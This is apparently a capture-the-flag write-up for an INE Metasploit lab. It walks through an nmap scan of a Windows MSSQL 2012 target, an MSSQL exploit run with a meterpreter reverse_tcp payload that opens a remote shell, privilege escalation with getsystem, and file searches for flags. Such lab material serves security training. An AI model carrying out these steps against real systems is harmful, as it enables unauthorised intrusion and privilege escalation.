> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/boxes-machines/ine/host-and-network-penetration-testing-the-metasploit-framework-ctf-1.md).

# Host & Network Penetration Testing: The Metasploit Framework CTF 1

Windows systems are common targets in penetration testing due to their extensive use in corporate environments. This lab focuses on exploiting Windows-based services and configurations using the Metasploit Framework (MSF). Participants will gain hands-on experience accessing vulnerable services, exploring sensitive directories, and escalating privileges to retrieve hidden information.

The objective is to highlight the risks associated with misconfigured accounts, exposed directories, and improper privilege management in Windows environments.

In this lab environment, you will have GUI access to a Kali machine. The target machine will be accessible at **target.ine.local**.

**Objective:** Use Metasploit and manual investigation techniques to capture the following flags:

* **Flag 1:** Gain access to the MSSQLSERVER account on the target machine to retrieve the first flag.
* **Flag 2:** Locate the second flag within the Windows configuration folder.
* **Flag 3:** The third flag is also hidden within the system directory. Find it to uncover a hint for accessing the final flag.
* **Flag 4:** Investigate the Administrator directory to find the fourth flag.

### Scanning

```
┌──(root㉿INE)-[~]
└─# sudo nmap -sC -sV -O target.ine.local
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-14 17:55 IST
Stats: 0:01:22 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.48% done; ETC: 17:56 (0:00:00 remaining)
Nmap scan report for target.ine.local (10.5.24.70)
Host is up (0.0022s latency).
Not shown: 991 closed tcp ports (reset)
PORT      STATE SERVICE            VERSION
135/tcp   open  msrpc              Microsoft Windows RPC
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds       Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1433/tcp  open  ms-sql-s           Microsoft SQL Server 2012 11.00.6020.00; SP3
| ms-sql-info: 
|   10.5.24.70\MSSQLSERVER: 
|     Instance name: MSSQLSERVER
|     Version: 
|       name: Microsoft SQL Server 2012 SP3
|       number: 11.00.6020.00
|       Product: Microsoft SQL Server 2012
|       Service pack level: SP3
|       Post-SP patches applied: false
|     TCP port: 1433
|_    Clustered: false
| ms-sql-ntlm-info: 
|   10.5.24.70\MSSQLSERVER: 
|     Target_Name: WIN-5BQ22OKH4SO
|     NetBIOS_Domain_Name: WIN-5BQ22OKH4SO
|     NetBIOS_Computer_Name: WIN-5BQ22OKH4SO
|     DNS_Domain_Name: WIN-5BQ22OKH4SO

```

Now that we know **MSSQL Server** is running on **port 1433**, and the version is **SQL Server 2012 (11.00.6020.00; SP3)**, we can search for an exploit based on this version.

### Exploiting MSSQL server

we have a MSSQL vulnerability available in metasploit available.

To do this, we can use **Metasploit**. Start Metasploit by typing: `msfconsole` use metasploit. Once inside Metasploit, search for available exploits related to **MSSQL 2012** using `search MSSQL 2012`

* Selected the exploit and set parameters:

```
set payload windows/x64/meterpreter/reverse_tcp
set RHOSTS target.ine.local
run
```

and we have a session.

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FlMOtI9UEoorY5TesWXlV%2Fimage.png?alt=media&amp;token=f0f1f510-b80e-4fca-a2fc-a1ca69f2515f" alt=""><figcaption></figcaption></figure>

Navigate to root directory and get the first flag.

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FlHysRuk7CFDExYWucE67%2Fimage.png?alt=media&amp;token=38850f2e-17b5-45e1-b482-ef77ef1ee057" alt=""><figcaption></figcaption></figure>

For the second flag, we want to check the **Windows configuration folder**, which is usually found in the `System32` directory. To navigate to it, type the following command: `cd Windows\System32`

### Privilege Escalation using getsystem

We don’t have access to view the contents. To check this, we need to first review our privileges. Let’s get back to our Meterpreter session by using **Ctrl + C**. Then, type `getprivs` to view the privileges that the current user has.

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*2JwoGUwLMKfuq3gA2qzg7A.png" alt="" height="174" width="700"><figcaption></figcaption></figure>

These privs are for the user. We can use `getsystem` to elevate the privileges because if `SeImpersonatePrivilege` is present, `getsystem` is likely to succeed using Named Pipe Impersonation.

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FM2QXOM0g6MJuWiWmsw5N%2Fimage.png?alt=media&amp;token=d4924efa-fe10-4c13-8c2e-23727fa52bbf" alt=""><figcaption></figcaption></figure>

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*_UU6recOjAuUFeSQOduv5Q.png" alt="" height="53" width="700"><figcaption></figcaption></figure>

We have elevated our privileges. Now, we can use the `shell` command again to get the shell and continue searching for the second flag.

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2F6XkVn9rG04xZcaqMMLE9%2Fimage.png?alt=media&amp;token=bb9f36ae-2dcf-4ac4-ac9f-f47e3286b571" alt=""><figcaption></figcaption></figure>

We have successfully entered the **config** directory. Type `dir` to list the contents.

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*Xo6Lc7InAMzBR-no5s9wIA.png" alt="" height="537" width="700"><figcaption></figcaption></figure>

We have found the second flag. To read its contents, use the command `type flag2.txt`.

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FvGDxoQHEGRVNWGGGG1Mf%2Fimage.png?alt=media&amp;token=eed95c55-b7f8-4b3e-a4c4-1cb24fd0d4bc" alt=""><figcaption></figcaption></figure>

### Searching recursively for flag

The question states that the third flag is also hidden within the **system** directory, but we don’t know its exact location. However, we know that the flag files end with `.txt`. To search for those files, use the following command:&#x20;

```
dir C:\Windows\System32\*.txt /s /b
```

This command will search for all `.txt` files within the **System32** directory and its subdirectories.

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2Fu1orTIV4xl0mF7FUEd8K%2Fimage.png?alt=media&amp;token=207a7f1b-e090-4d01-a22b-5e7d42853e15" alt=""><figcaption></figcaption></figure>

We see a file named **EscalatePrivilageToGetThisFlag.txt**. To read its contents, type the following command:&#x20;

```
type C:\Windows\System32\drivers\etc\EscaltePrivilageToGetThisFlag.txt
```

### F**lag 4: Administrator’s Desktop**

Since we have already elevated our privileges, let’s navigate to the **Administrator** directory to find the fourth flag.

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*2wJfxeUyQYpJAD41fM3w-g.png" alt="" height="74" width="700"><figcaption></figcaption></figure>

To list the contents, type `dir`. Let's navigate to the **Desktop** directory.

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*wkGp1XD-dYZ2kxZBABCO9w.png" alt="" height="329" width="700"><figcaption></figcaption></figure>

And here we have found our last flag, which is:

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2F12w7FycDQ9TRLmbH3vn7%2Fimage.png?alt=media&amp;token=4504878e-898a-43a5-ba16-d39a90057336" alt=""><figcaption></figcaption></figure>
